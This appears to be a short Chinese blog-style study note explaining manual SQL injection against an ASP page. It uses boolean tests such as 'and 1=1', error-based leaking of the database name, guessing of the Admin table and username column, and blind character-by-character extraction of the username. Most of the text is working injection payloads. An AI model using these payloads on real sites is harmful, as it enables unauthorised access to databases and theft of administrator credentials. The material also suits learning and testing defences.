天天看點

SQL查詢學習記錄

判斷能否進行SQL注入 :

http://www.mytest.com/showdetail.asp?id=49

;and 1=1

;and 1=2

可以注入

① ② 正常,③ 報錯

不可以注入

① 正常,② ③ 報錯

資料庫名稱

;and user>0

char和int比較報錯為:

将char值 ”abc” 轉換資料類型為 int 的列時發生文法錯誤。

這樣就可以通過報錯獲得資料庫名“abc”啦~

猜表名

ID=49 And (Select Count(*) from Admin)>=0

如果頁面就與ID=49的相同,說明附加條件成立,即表Admin存在,反之,即不存在(請牢記這種方法)。如此循環,直至猜到表名為止。

表名Admin

猜字段

将Count(*)替換成Count(字段名),用同樣的原理猜解字段名

字段名username

猜字段的值(Ascii逐字解碼法)

1.測試長度

;and (select top 1 len(username) from Admin)>0

其中top語句用來傳回要規定記錄的數目。

如果top 1的username長度大于0,則條件成立;接着就是>1、>2、>3這樣測試下去,一直到條件不成立為止,比如>7成立,>8不成立,就是len(username)=8

2 測試每個字元值

id=49 and (select top 1 unicode(substring(username,1,1)) from Admin)>0

同樣也是用逐漸縮小範圍的方法得到第1位字元的ASCII碼,注意的是英文和數字的ASCII碼在1-128之間,可以用折半法加速猜解,如果寫成程式測試,效率會有極大的提高。